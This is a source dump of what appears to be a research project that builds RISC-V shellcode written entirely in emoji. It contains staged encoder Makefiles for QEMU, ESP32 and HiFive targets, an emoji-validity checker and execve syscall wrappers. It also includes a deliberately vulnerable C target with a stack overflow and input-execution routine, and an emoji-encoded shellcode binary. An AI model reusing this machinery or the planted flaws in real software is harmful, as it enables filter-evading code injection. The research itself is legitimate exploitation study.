-k3,3 | sed -E 's/(\[)([0-9a-f]{4})(\])\t/\2 /' > $(BUILD)/$@.tmp 21 | $(Q)mv $(BUILD)/$@.tmp $@ 22 | 23 | $(BUILD)/instr32.txt $(BUILD)/instr64.txt &: diss_to_instr.sh $(BUILD)/diss.bin 24 | $(Q)./$< 25 | 26 | $(BUILD)/diss.bin: genu14.py 27 | $(Q)./$< 28 | 29 | $(BUILD): 30 | $(Q)mkdir -p $@ 31 | 32 | $(BLOCK_NAME): build/$(BLOCK_NAME) 33 | $(Q)ln -sf $< $@ 34 | 35 | build/$(BLOCK_NAME): block.cpp | $(BUILD) 36 | $(Q)g++ -Wall -Wextra -Wshadow -std=c++2a -g $< -o $@ -O2 37 | 38 | clean: 39 | $(Q)rm -rf $(BUILD) $(BLOCK_NAME) 40 | -------------------------------------------------------------------------------- /payload/serial_tryhard/Makefile: -------------------------------------------------------------------------------- 1 | RV_BITS := 64 2 | PAYLOAD_PREFIX := riscv64-unknown-elf- 3 | include helpers/common.mk 4 | OUT := out 5 | REGS := a0 a1 a2 a3 a4 a5 s0 s1 6 | STAGE2_K2_BUILD:=$(BUILD)/stage2_k2 7 | Q := @ 8 | MAKEFLAGS+=-j12 9 | 10 | all: 11 | 12 | $(OUT): 13 | $(Q)mkdir -p $@ 14 | 15 | $(BUILD): 16 | $(Q)mkdir -p $@ 17 | 18 | include ../payload.mk 19 | 20 | define BUILD_PAYLOAD 21 | PAYD:=payload_$(1)_$(2)_$(3) 22 | PRX:=serial_tryhard/build/$$(PAYD) 23 | PRX_BUILD:=$(BUILD)/$$(PRX)/serial_tryhard/$(BUILD)/ 24 | 25 | $$(eval $$(call build_payload,$$(PRX),0x0,$(BUILD)/$$(PAYD).bin,$(RV_ARCH),$(RV_ABI))) 26 | 27 | all: $(OUT)/$$(PAYD).bin 28 | 29 | $$(PRX_BUILD): 30 | $(Q)mkdir -p $$@ 31 | 32 | ../$$(PRX).ld: payload_serial_asm_short.ld | $(BUILD) 33 | $(Q)cp $$< $$@ 34 | 35 | ../$$(PRX).c: payload_serial_asm_short.c | $(BUILD) $$(PRX_BUILD) 36 | $(Q)cp $$< $$@ 37 | 38 | ../$$(PRX).S: payload_serial_asm_short.S | $(BUILD) $$(PRX_BUILD) 39 | $(Q)printf '%s\n%s\n%s\n%s\n' "#define REGA $(1)" "#define REGB $(2)" "#define REGC $(3)" "$$$$(cat $$<)" >$$@ 40 | 41 | $(OUT)/$$(PAYD).bin: $(BUILD)/$$(PAYD).bin | $(OUT) 42 | $(Q)cp $$< $$@ 43 | endef 44 | 45 | define BUILD_PAYLOAD_GUARD 46 | ifneq ($(1),$(2)) 47 | ifneq ($(1),$(3)) 48 | ifneq ($(2),$(3)) 49 | $$(eval $$(call BUILD_PAYLOAD,$(1),$(2),$(3))) 50 | endif 51 | endif 52 | endif 53 | endef 54 | 55 | $(foreach regA,$(REGS),$(foreach regB,$(REGS),$(foreach regC,$(REGS),$(eval $(call BUILD_PAYLOAD_GUARD,$(regA),$(regB),$(regC)))))) 56 | -------------------------------------------------------------------------------- /payload/serial_tryhard/tryhard.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -euo pipefail 3 | 4 | make 5 | ../../qemu/build/fromto -t out > logs.txt 6 | grep "> " logs.txt | sort -t'>' -k2nr 7 | 8 | 9 | 10 | # [9382e2ac] addi t0,t0,-1330 %NP 11 | # [9382e2a4] addi t0,t0,-1458 %NP 12 | # [9382e29e] addi t0,t0,-1554 %NP 13 | # [9382e29c] addi t0,t0,-1586 %NP 14 | # [9382e29b] addi t0,t0,-1602 %NP 15 | # [9382e29a] addi t0,t0,-1618 %NP 16 | # [9382e299] addi t0,t0,-1634 %NP 17 | # [9382e298] addi t0,t0,-1650 %NP 18 | # [9382e28f] addi t0,t0,-1794 %NP 19 | # [9382e286] addi t0,t0,-1938 %NP 20 | # [9382e284] addi t0,t0,-1970 %NP 21 | # [9382e281] addi t0,t0,-2018 %NP 22 | # [9382e38a] addi t0,t2,-1874 %NP 23 | # [9382e380] addi t0,t2,-2034 %NP 24 | # -> 25 | # -1330 206 26 | # -1458 78 27 | # -1554 238 28 | # -1586 206 29 | # -1602 190 30 | # -1618 174 31 | # -1634 158 32 | # -1650 142 33 | # -1794 254 34 | # -1938 110 35 | # -1970 78 36 | # -2018 30 37 | # -1874 174 38 | # -2034 14 39 | # -> 14 30 78 78 110 142 158 174 174 190 206 206 238 254 40 | # cat logs.txt | grep "> " | sort -t'>' -k2nr | grep -E "t0:( 14| 30| 78|110|142|158|174|190|206|238|254)" | tail 41 | # cat logs.txt | grep "> " | sort -t'>' -k2nr | grep -E "t0:( 14| 15| 30| 31| 78| 79|110|111|142|143|158|159|174|175|190|191|206|207|238|239|254|255)" | tail 42 | -------------------------------------------------------------------------------- /qemu/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # (c) 2018-2022 Hadrien Barral 3 | # SPDX-License-Identifier: Apache-2.0 4 | # 5 | 6 | RV_BITS := 64 7 | PAYLOAD_PREFIX := riscv64-unknown-elf- 8 | include helpers/common.mk 9 | OUT := out 10 | NAME := shellcode 11 | PAYD := payload_serial_asm 12 | 13 | all: $(OUT)/$(NAME).bin 14 | 15 | $(BUILD): 16 | $(Q)mkdir -p $@ 17 | 18 | $(OUT): 19 | $(Q)mkdir -p $@ 20 | 21 | $(BUILD)/stage2_encoded.S: $(BUILD)/stage2.bin encode_stage2.py 22 | $(Q)./$(word 2,$^) -i $< -o $@ 23 | 24 | $(BUILD)/stage2.bin: $(BUILD)/$(PAYD).bin 25 | cp $< $@ 26 | 27 | $(BUILD)/stage1.o: stage1.S $(BUILD)/stage2_encoded.S 28 | $(Q)m4 -I $(BUILD) $< > $(BUILD)/$<.m4.S 29 | $(Q)$(GCC) -o $(BUILD)/$<.i -P -E -DRV_BITS=$(RV_BITS) $(BUILD)/$<.m4.S 30 | $(Q)$(AS) $(ASFLAGS) -o $@ -c $(BUILD)/$<.i 31 | 32 | $(BUILD)/stage1.elf: $(BUILD)/stage1.o stage1.ld 33 | $(Q)$(LD) $(LDFLAGS) -T $(word 2,$^) -o $@ $< 34 | 35 | $(BUILD)/stage1.bin: $(BUILD)/stage1.elf 36 | $(Q)$(OBJCOPY) -O binary $< $@ 37 | 38 | $(BUILD)/$(NAME).bin.nounclog: $(BUILD)/stage1.bin unclog.py ../block/build/seq.txt 39 | $(Q)$(OBJDUMP) -b binary -D -m riscv:rv$(RV_BITS) $< > $(BUILD)/$(NAME).diss 40 | $(Q)./$(word 2,$^) -i $< -o $@ -e $(word 3,$^) -r 41 | 42 | $(BUILD)/$(NAME).bin.nocheck: $(BUILD)/$(NAME).bin.nounclog 43 | $(Q)cp $< $@ 44 | 45 | $(OUT)/$(NAME).bin: $(BUILD)/$(NAME).bin.nocheck helpers/check.py ../block/build/seq.txt | $(OUT) 46 | $(Q)$(word 2,$^) -i $< -e $(word 3,$^) 47 | $(Q)cp $< $@ 48 | 49 | include ../payload/payload.mk 50 | $(eval $(call build_payload,$(PAYD),0x8000800580,$(BUILD)/$(PAYD).bin,$(RV_ARCH),$(RV_ABI))) 51 | 52 | clean: 53 | $(Q)rm -rf $(BUILD) $(OUT) 54 | -------------------------------------------------------------------------------- /payload/payload.mk: -------------------------------------------------------------------------------- 1 | # 2 | # (c) 2018-2022 Hadrien Barral 3 | # SPDX-License-Identifier: Apache-2.0 4 | # 5 | 6 | # $1: payload name 7 | # $2: stack address 8 | # $3: out file 9 | # $4: architecture 10 | # $5: abi 11 | # $6: Preprocessor flags 12 | # $7: Preprocessor deps 13 | define build_payload = 14 | payload_BASE:=$(shell dirname $(lastword $(MAKEFILE_LIST))) 15 | payload_PAYD := $1 16 | payload_BUILD := $(BUILD)/$$(payload_PAYD) 17 | payload_ARCH:= $4 18 | payload_ABI := $5 19 | payload_GCCFLAGS := -march=$$(payload_ARCH) -mabi=$$(payload_ABI) -Os -Wall -Wextra -Werror -pipe -nostdlib -nostartfiles -ffreestanding -fPIC -std=c11 20 | payload_ASFLAGS := -march=$$(payload_ARCH) --warn 21 | payload_PREFLAGS := $6 22 | 23 | $$(payload_BUILD): 24 | $(Q)mkdir -p $$@ 25 | 26 | $$(payload_BUILD)/$$(payload_PAYD).c.o: $$(payload_BASE)/$$(payload_PAYD).c | $$(payload_BUILD) 27 | $(Q)$(PAYLOAD_GCC) $$(payload_GCCFLAGS) -o $$@ -c $$< 28 | 29 | $$(payload_BUILD)/$$(payload_PAYD).S.i: $$(payload_BASE)/$$(payload_PAYD).S $7 | $$(payload_BUILD) 30 | $(Q)$(PAYLOAD_GCC) $$(payload_PREFLAGS) -DPAYLOAD_STACK=$2 -o $$@ -P -E $$< 31 | 32 | $$(payload_BUILD)/$$(payload_PAYD).S.o: $$(payload_BUILD)/$$(payload_PAYD).S.i 33 | $(Q)$(PAYLOAD_AS) $$(payload_ASFLAGS) -o $$@ $$< 34 | 35 | $$(payload_BUILD)/$$(payload_PAYD).elf: $$(payload_BASE)/$$(payload_PAYD).ld $$(payload_BUILD)/$$(payload_PAYD).c.o $$(payload_BUILD)/$$(payload_PAYD).S.o 36 | $(Q)$(PAYLOAD_LD) $(LDFLAGS) -T $$< -o $$@ $$(filter-out $$<,$$^) 37 | 38 | $$(payload_BUILD)/$$(payload_PAYD).bin: $$(payload_BUILD)/$$(payload_PAYD).elf 39 | $(Q)$(PAYLOAD_OBJCOPY) -O binary $$< $$@ 40 | $(Q)$(PAYLOAD_OBJDUMP) -b binary -D -m riscv:$$(payload_ARCH) $$@ > $$@.diss 41 | 42 | $3: $$(payload_BUILD)/$$(payload_PAYD).bin 43 | $(Q)cp $$< $$@ 44 | endef 45 | -------------------------------------------------------------------------------- /qemu/helpers/check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # 4 | # (c) 2021-2022 Hadrien Barral 5 | # SPDX-License-Identifier: Apache-2.0 6 | # 7 | 8 | import argparse 9 | import sys 10 | import typing 11 | 12 | min_emoji_len = 3 13 | max_emoji_len = 40 14 | 15 | EmojiDict: typing.TypeAlias = dict[str, bool] 16 | 17 | 18 | def argparser() -> argparse.Namespace: 19 | parser = argparse.ArgumentParser(description="Stage1 unclogger") 20 | parser.add_argument("-i", "--input", help="Input file", required=True) 21 | parser.add_argument("-e", "--emoji", help="Emoji definitions file", required=True) 22 | return parser.parse_args() 23 | 24 | 25 | def load_emoji(filename: str) -> EmojiDict: 26 | emoji = {} 27 | with open(filename, "r", encoding="utf-8") as f: 28 | for line in f: 29 | hex_sequence = line.split()[0] 30 | assert len(hex_sequence) >= 2 * min_emoji_len 31 | assert len(hex_sequence) <= 2 * max_emoji_len 32 | emoji[hex_sequence] = True 33 | return emoji 34 | 35 | 36 | def check_file(filename: str, emojis: EmojiDict) -> bool: 37 | with open(filename, "rb") as f: 38 | data = f.read() 39 | i = 0 40 | while i < len(data): 41 | l = max_emoji_len 42 | while l >= min_emoji_len: 43 | if data[i : i + l].hex() in emojis: 44 | break 45 | l -= 1 46 | if l < min_emoji_len: 47 | print(f"Bad sequence in {filename} at offset {i} (0x{i:06X})", file=sys.stderr) 48 | return False 49 | i += l 50 | return True 51 | 52 | 53 | def main() -> None: 54 | args = argparser() 55 | emojis = load_emoji(args.emoji) 56 | if not check_file(args.input, emojis): 57 | sys.exit(1) 58 | 59 | 60 | if __name__ == "__main__": 61 | main() 62 | -------------------------------------------------------------------------------- /qemu_short/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # (c) 2018-2022 Hadrien Barral 3 | # SPDX-License-Identifier: Apache-2.0 4 | # 5 | 6 | RV_BITS := 64 7 | PAYLOAD_PREFIX := riscv64-unknown-elf- 8 | include helpers/common.mk 9 | OUT := out 10 | NAME := shellcode 11 | PAYD := payload_serial_asm_short 12 | 13 | all: $(OUT)/$(NAME).bin 14 | 15 | $(BUILD): 16 | $(Q)mkdir -p $@ 17 | 18 | $(OUT): 19 | $(Q)mkdir -p $@ 20 | 21 | $(BUILD)/fromto: fromto.cpp 22 | $(Q)g++ -Wall -Wextra -Wshadow -std=c++2a -g $< -o $@ -O2 23 | 24 | $(BUILD)/stage2_k2.json: $(BUILD)/fromto Makefile 25 | $(Q)./$< $@ 110 189 26 | 27 | $(BUILD)/stage2_encoded.S: $(BUILD)/stage2.bin encode_stage2.py $(BUILD)/stage2_k2.json 28 | $(Q)./$(word 2,$^) -i $< -o $@ -k 2 --k2_json $(word 3,$^) 29 | 30 | $(BUILD)/stage2.bin: $(BUILD)/$(PAYD).bin 31 | cp $< $@ 32 | 33 | $(BUILD)/stage1.o: stage1.S $(BUILD)/stage2_encoded.S 34 | $(Q)m4 -I $(BUILD) $< > $(BUILD)/$<.m4.S 35 | $(Q)$(GCC) -o $(BUILD)/$<.i -P -E -DRV_BITS=$(RV_BITS) $(BUILD)/$<.m4.S 36 | $(Q)$(AS) $(ASFLAGS) -o $@ -c $(BUILD)/$<.i 37 | 38 | $(BUILD)/stage1.elf: $(BUILD)/stage1.o stage1.ld 39 | $(Q)$(LD) $(LDFLAGS) -T $(word 2,$^) -o $@ $< 40 | 41 | $(BUILD)/stage1.bin: $(BUILD)/stage1.elf 42 | $(Q)$(OBJCOPY) -O binary $< $@ 43 | 44 | $(BUILD)/$(NAME).bin.notrail: $(BUILD)/stage1.bin 45 | $(Q)tr < $< -d '\000' > $@ 46 | 47 | $(BUILD)/$(NAME).bin.unclogged: $(BUILD)/$(NAME).bin.notrail unclog.py ../block/build/seq.txt 48 | $(Q)$(OBJDUMP) -b binary -D -m riscv:rv$(RV_BITS) $< > $(BUILD)/$(NAME).diss 49 | $(Q)./$(word 2,$^) -i $< -o $@ -e $(word 3,$^) -r -m 50 | 51 | $(BUILD)/$(NAME).bin.nocheck: $(BUILD)/$(NAME).bin.unclogged 52 | $(Q)cp $< $@ 53 | 54 | $(OUT)/$(NAME).bin: $(BUILD)/$(NAME).bin.nocheck helpers/check.py ../block/build/seq.txt | $(OUT) 55 | $(Q)$(word 2,$^) -i $< -e $(word 3,$^) 56 | $(Q)cp $< $@ 57 | 58 | include ../payload/payload.mk 59 | $(eval $(call build_payload,$(PAYD),0x8000800580,$(BUILD)/$(PAYD).bin,$(RV_ARCH),$(RV_ABI))) 60 | 61 | clean: 62 | $(Q)rm -rf $(BUILD) $(OUT) 63 | -------------------------------------------------------------------------------- /hifiveu/vuln.c: -------------------------------------------------------------------------------- 1 | /* 2 | * (c) 2018-2022 Hadrien Barral 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | #define _GNU_SOURCE 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | static inline uint8_t h2i(char c) { 13 | if (c >= '0' && c <= '9') { 14 | return c - '0'; 15 | } 16 | if (c >= 'A' && c <= 'Z') { 17 | return c - 'A' + 10; 18 | } 19 | return 0; 20 | } 21 | 22 | __attribute__((weak)) 23 | void debug(const char *in) { 24 | char * sp = (char *) __builtin_frame_address(0); 25 | sp -= 1024*1024; 26 | 27 | strcpy(sp, in); 28 | char *x = sp; 29 | uint8_t *y = (uint8_t *) sp; 30 | while(*x) { 31 | uint8_t z = h2i(x[0])*16 + h2i(x[1]); 32 | *y = z; 33 | y++; 34 | x+=2; 35 | } 36 | 37 | typedef void exec_t(void); 38 | ((exec_t *) sp)(); 39 | } 40 | 41 | __attribute__((weak)) 42 | char *my_strcpy(char *dest, const char *src) 43 | { 44 | char *ptr = dest; 45 | while((*ptr++ = *src++)); 46 | return dest; 47 | } 48 | 49 | __attribute__((weak)) 50 | uint64_t func2(const char *in, void **array, int offset) { 51 | char name[300]; 52 | 53 | my_strcpy(name, in); /* Blatant SO incoming */ 54 | name[sizeof(name)-1] = '\0'; 55 | array[offset] = name; 56 | 57 | return strlen(name); 58 | } 59 | 60 | __attribute__((weak)) 61 | uint64_t func1(const char *bad, int size) { 62 | uint8_t arr[1024*1024]; 63 | memset(arr, size, sizeof(arr)); 64 | //printf("TF2: %p\n", arr); 65 | return func2(bad, (void **)arr, -1); 66 | } 67 | 68 | int main(void) { 69 | puts("Hello world from the buggy program on HifiveU board."); 70 | puts("Waiting for input..."); 71 | fflush(NULL); 72 | 73 | char *bad = NULL; size_t n; 74 | ssize_t status = getline(&bad, &n, stdin); 75 | if(status == -1) { 76 | fprintf(stderr, "getline failed\n"); 77 | exit(1); 78 | } 79 | //printf("line:%s\n", bad); 80 | 81 | //debug(bad); 82 | 83 | puts("Processing data..."); 84 | uint64_t ret = func1(bad, 0); 85 | 86 | free(bad); 87 | printf("Exiting from shellcode (%#lx).\n", ret); 88 | return 0; 89 | } 90 | -------------------------------------------------------------------------------- /payload/payload_linux_shared.c: -------------------------------------------------------------------------------- 1 | /* 2 | * (c) 2018-2022 Hadrien Barral 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | #include 7 | #include 8 | 9 | __attribute__((unused)) 10 | static int sys_openat(int dirfd, const char *pathname, int flags) 11 | { 12 | register int a0 __asm__ ("a0") = dirfd; 13 | register const char * a1 __asm__ ("a1") = pathname; 14 | register int a2 __asm__ ("a2") = flags; 15 | register int ret __asm__ ("a0"); 16 | __asm__ volatile( 17 | "li a7, 56\n" 18 | "ecall\n" 19 | : "=r" (ret) 20 | : "r" (a0), "r" (a1), "r" (a2) 21 | : "a7" 22 | ); 23 | 24 | return ret; 25 | } 26 | 27 | __attribute__((unused)) 28 | static ssize_t sys_read(int fd, const char *buf, size_t count) 29 | { 30 | register int a0 __asm__ ("a0") = fd; 31 | register const char * a1 __asm__ ("a1") = buf; 32 | register size_t a2 __asm__ ("a2") = count; 33 | register ssize_t ret __asm__ ("a0"); 34 | __asm__ volatile( 35 | "li a7, 63\n" 36 | "ecall\n" 37 | : "=r" (ret) 38 | : "r" (a0), "r" (a1), "r" (a2) 39 | : "a7" 40 | ); 41 | 42 | return ret; 43 | } 44 | 45 | __attribute__((unused)) 46 | static ssize_t sys_write(int fd, const char *buf, size_t count) 47 | { 48 | register int a0 __asm__ ("a0") = fd; 49 | register const char * a1 __asm__ ("a1") = buf; 50 | register size_t a2 __asm__ ("a2") = count; 51 | register ssize_t ret __asm__ ("a0"); 52 | __asm__ volatile( 53 | "li a7, 64\n" 54 | "ecall\n" 55 | : "=r" (ret) 56 | : "r" (a0), "r" (a1), "r" (a2) 57 | : "a7" 58 | ); 59 | 60 | return ret; 61 | } 62 | 63 | __attribute__((unused)) 64 | static int sys_execve(const char *filename, char *const argv[], char *const envp[]) 65 | { 66 | register const char * a0 __asm__ ("a0") = filename; 67 | register char *const * a1 __asm__ ("a1") = argv; 68 | register char *const * a2 __asm__ ("a2") = envp; 69 | register int ret __asm__ ("a0"); 70 | __asm__ volatile( 71 | "li a7, 221\n" 72 | "ecall\n" 73 | : "=r" (ret) 74 | : "r" (a0), "r" (a1), "r" (a2) 75 | : "a7" 76 | ); 77 | 78 | return ret; 79 | } 80 | -------------------------------------------------------------------------------- /esp32/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # (c) 2018-2022 Hadrien Barral 3 | # SPDX-License-Identifier: Apache-2.0 4 | # 5 | 6 | MAKEFLAGS += --no-builtin-rules --no-builtin-variables 7 | .SUFFIXES: 8 | 9 | RV_BITS := 32 10 | include helpers/common.mk 11 | OUT := out 12 | PAYD := payload_esp32_led 13 | NAME := shellcode 14 | 15 | all: $(OUT)/$(NAME).bin $(OUT)/$(NAME).txt 16 | 17 | $(BUILD): 18 | $(Q)mkdir -p $@ 19 | 20 | $(OUT): 21 | $(Q)mkdir -p $@ 22 | 23 | # 24 | # Emoji shellcode 25 | # 26 | 27 | $(BUILD)/stage2_encoded.S: $(BUILD)/stage2.bin encode_stage2.py 28 | $(Q)./$(word 2,$^) -i $< -o $@ 29 | 30 | $(BUILD)/stage2.bin: $(BUILD)/$(PAYD).bin 31 | cp $< $@ 32 | 33 | $(BUILD)/stage1.o: stage1.S $(BUILD)/stage2_encoded.S 34 | $(Q)m4 -I $(BUILD) $< > $(BUILD)/$<.m4.S 35 | $(Q)$(GCC) -o $(BUILD)/$<.i -P -E -DRV_BITS=$(RV_BITS) $(BUILD)/$<.m4.S 36 | $(Q)$(AS) $(ASFLAGS) -o $@ -c $(BUILD)/$<.i 37 | 38 | $(BUILD)/stage1.elf: $(BUILD)/stage1.o stage1.ld 39 | $(Q)$(LD) $(LDFLAGS) -T $(word 2,$^) -o $@ $< 40 | 41 | $(BUILD)/stage1.bin: $(BUILD)/stage1.elf 42 | $(Q)$(OBJCOPY) -O binary $< $@ 43 | 44 | $(BUILD)/$(NAME).bin.nounclog: $(BUILD)/stage1.bin unclog.py ../block/build/seq.txt 45 | $(Q)$(OBJDUMP) -b binary -D -m riscv:rv$(RV_BITS) $< > $(BUILD)/$(NAME).diss 46 | $(Q)./$(word 2,$^) -i $< -o $@ -e $(word 3,$^) -r -s 0 47 | 48 | $(BUILD)/$(NAME).bin.nocheck: $(BUILD)/$(NAME).bin.nounclog 49 | $(Q)cp $< $@ 50 | 51 | $(BUILD)/$(NAME).bin: $(BUILD)/$(NAME).bin.nocheck helpers/check.py ../block/build/seq.txt | $(OUT) 52 | $(Q)$(word 2,$^) -i $< -e $(word 3,$^) 53 | $(Q)cp $< $@ 54 | 55 | $(OUT)/$(NAME).bin: $(BUILD)/$(NAME).bin | $(OUT) 56 | $(Q)cp $< $@ 57 | 58 | $(OUT)/$(NAME).txt: $(OUT)/$(NAME).bin 59 | $(Q)cp $< $@ 60 | 61 | # 62 | # Payload 63 | # 64 | 65 | PAYLOAD_RV_ARCH := rv32ic 66 | PAYLOAD_RV_ABI := ilp32 67 | 68 | PAYLOAD_PUTS := 0 69 | PAYLOAD_DUMP_PRIVATE_KEY := 0 70 | -include build/payload_constants.mk 71 | 72 | build/payload_constants.mk: | $(BUILD) 73 | touch $@ 74 | 75 | include ../payload/payload.mk 76 | $(eval $(call build_payload,$(PAYD),0,$(BUILD)/$(PAYD).bin,$(PAYLOAD_RV_ARCH),$(PAYLOAD_RV_ABI),\ 77 | -DPAYLOAD_PUTS=$(PAYLOAD_PUTS) -DPAYLOAD_DUMP_PRIVATE_KEY=$(PAYLOAD_DUMP_PRIVATE_KEY),\ 78 | build/payload_constants.mk)) 79 | 80 | .PHONY: clean 81 | clean: 82 | rm -rf $(BUILD) $(OUT) app/build app/sdkconfig 83 | -------------------------------------------------------------------------------- /paper_hello_world/qemu_miniclog_medium.bin: -------------------------------------------------------------------------------- 1 | ♍©️🥕👨‍👦‍👦🥕📇⬅️🧑🏿‍🤝‍🧑🏼👨🏻‍🤝‍👨🏽✅©️👩‍❤‍💋‍👨📥🆎✅©️👩‍❤‍💋‍👨📢⁉️👩‍❤️‍👨✅©️👩‍❤‍💋‍👨📢⁉️👩‍❤️‍👨📂⁉️👩‍❤️‍👨📂⁉️👨‍❤️‍👨📃✉️♉🧑‍🤝‍🧑➕❗🈷️✅©️👩‍❤‍💋‍👩📢⁉️👩‍❤️‍👨✅©️👩‍❤‍💋‍👨📦⬅️👩🏻‍❤️‍💋‍👨🏾👩🏽‍🎤🆖✅♈🧑🏽‍❤‍🧑🏻🪷🈷️✅♈👩🏽‍🤝‍👩🏻🆕✅♈🧑🏾‍🤝‍🧑🏾🍎✅♈👨🏽‍🤝‍👨🏼📳🆎✅♈👨🏽‍🤝‍👨🏾📥🆎✅♈👩🏽‍🤝‍👨🏾📰㊙️👨🏽‍🤝‍👨🏼✅♈🧑🏼‍🤝‍🧑🏾🆒✅♈👩🏻‍🤝‍👨🏾🆒✅♈🧑🏻‍🤝‍🧑🏻🆒✅♈👨🏽‍🤝‍👨🏾🆒✅♈👩🏽‍🤝‍👨🏻🆒✅♈🧑🏻‍🤝‍🧑🏾🆒✅♈👨🏽‍🤝‍👨🏾🆒✅♈👩🏿‍🤝‍👩🏼🆒✅♈👩🏼‍🤝‍👨🏻🆒✅♈🧑🏽‍🤝‍🧑🏻🆒✅♈👨🏿‍🤝‍👨🏻🆒✅♈🧑🏿‍🤝‍🧑🏿🆒✅♈👨🏾‍🤝‍👨🏻🆒✅♈👩🏾‍🤝‍👨🏿🆒✅♈🧑🏻‍🤝‍🧑🏽🆒✅♈👩🏼‍🤝‍👨🏻📅➰♈✅♈🧑🏿‍🤝‍🧑🏼🖕✅♈👩‍❤️‍💋‍👩➕❌♋♉➖✅♈👨‍❤️‍💋‍👨➕❌♋♉➖✅♈👨🏿‍🤝‍👨🏾🍉❌♋♉➖❌♋♉➖✅♈🧑🏾‍🤝‍🧑🏾📅㊗️✅♈👩🏻‍🤝‍👨🏿🕙✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩🏾‍🤝‍👩🏿🖕❌♋♉➖✅♈🧑🏽‍🤝‍🧑🏻🙉❌♋♉➖✅♈👩🏼‍🤝‍👩🏻🥉✅♈👨‍❤️‍💋‍👨➕❌♋♉➖✅♈👨🏿‍🤝‍👨🏽👉✅♈👨🏿‍🤝‍👨🏻🖕❌♋♉➖✅♈👨🏻‍🤝‍👨🏿📅↗️✅♈🧑🏿‍🤝‍🧑🏿🖕✅♈👩🏻‍🤝‍👨🏿🕙✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩🏻‍🤝‍👩🏿🖕❌♋♉➖✅♈🧑🏿‍🤝‍🧑🏻🙉✅♈👩‍❤️‍💋‍👨➕❌♋♉➖✅♈👩🏻‍🤝‍👨🏿🥉✅♈👩🏾‍🤝‍👨🏼👉❌♋♉➖❌♋♉➖✅♈👩🏻‍🤝‍👨🏼📅⛓️✅♈🧑🏾‍🤝‍🧑🏿🥙✅♈🧑🏿‍🤝‍🧑🏻🖕❌♋♉➖✅♈🧑🏿‍🤝‍🧑🏿📅↗️✅♈👩🏽‍🤝‍👩🏼🙉✅♈👩‍❤️‍💋‍👩➕✅♈👨🏻‍🤝‍👨🏼🖕✅♈👨🏻‍🤝‍👨🏽🖕✅♈🧑🏾‍🤝‍🧑🏿🖕✅♈👨🏿‍🤝‍👨🏼🖕❌♋♉➖✅♈🧑🏻‍🤝‍🧑🏻📅↗️✅♈👩🏿‍🤝‍👨🏾🖕✅♈👩🏻‍🤝‍👩🏽🕙✅♈👨‍❤️‍💋‍👨➕❌♋♉➖✅♈👩🏼‍🤝‍👨🏿📅↗️✅♈👨🏻‍🤝‍👨🏽🙉✅♈👩‍❤️‍💋‍👩➕❌♋♉➖✅♈🧑🏾‍🤝‍🧑🏻📅↗️✅♈👨🏼‍🤝‍👨🏻🖕✅♈👩🏼‍🤝‍👩🏽🥙✅♈👩🏾‍🤝‍👨🏽🖕❌♋♉➖✅♈👩🏻‍🤝‍👨🏿📅⛓️✅♈🧑🏼‍🤝‍🧑🏼🍙❌♋♉➖✅♈👩🏾‍🤝‍👨🏼📅↗️✅♈👩🏻‍🤝‍👨🏿🥙✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕❌♋♉➖✅♈👨🏼‍🤝‍👨🏻📅➰♈✅♈👨‍❤️‍💋‍👨➕❌♋♉➖✅♈👩🏻‍🤝‍👨🏽📅↗️✅♈🧑🏿‍🤝‍🧑🏿🥉✅♈👩🏼‍🤝‍👩🏾🖕✅♈👨🏽‍🤝‍👨🏾🖕✅♈👩🏻‍🤝‍👨🏿🖕✅♈👨🏿‍🤝‍👨🏼🖕❌♋♉➖✅♈👩🏾‍🤝‍👨🏽📅↗️✅♈👩🏿‍🤝‍👩🏼🕙✅♈👩‍❤️‍💋‍👩➕❌♋♉➖✅♈👩🏾‍🤝‍👨🏼📅↗️✅♈👨🏽‍🤝‍👨🏾🥙✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕❌♋♉➖❌♋♉➖✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕❌♋♉➖✅♈🧑🏻‍🤝‍🧑🏼🥉✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩🏿‍🤝‍👨🏾🖕✅♈🧑🏿‍🤝‍🧑🏼🖕❌♋♉➖✅♈👩🏻‍🤝‍👨🏼🍙❌♋♉➖✅♈👩🏻‍🤝‍👨🏾📅↗️✅♈👨🏾‍🤝‍👨🏻🙉✅♈👩‍❤️‍💋‍👨➕✅♈🧑🏼‍🤝‍🧑🏿🖕✅♈👨🏽‍🤝‍👨🏻🖕✅♈🧑🏽‍🤝‍🧑🏾🖕✅♈👨🏻‍🤝‍👨🏼🖕✅♈👩🏾‍🤝‍👨🏼🖕❌♋♉➖✅♈👩🏿‍🤝‍👨🏽📅➰♈✅♈👨🏿‍🤝‍👨🏻🖕✅♈👩‍❤️‍💋‍👨➕✅♈👨🏿‍🤝‍👨🏾🖕✅♈👨🏽‍🤝‍👨🏿🖕✅♈👩🏼‍🤝‍👨🏽🖕✅♈🧑🏾‍🤝‍🧑🏾🖕✅♈👩🏼‍🤝‍👩🏾🖕✅♈👨🏾‍🤝‍👨🏿🖕❌♋♉➖✅♈👩🏽‍🤝‍👨🏿📅↗️✅♈👨🏽‍🤝‍👨🏾🍙✅♈👩🏽‍🤝‍👩🏼🖕❌♋♉➖✅♈👩🏾‍🤝‍👩🏻📅↗️✅♈👨🏾‍🤝‍👨🏻🥙✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕❌♋♉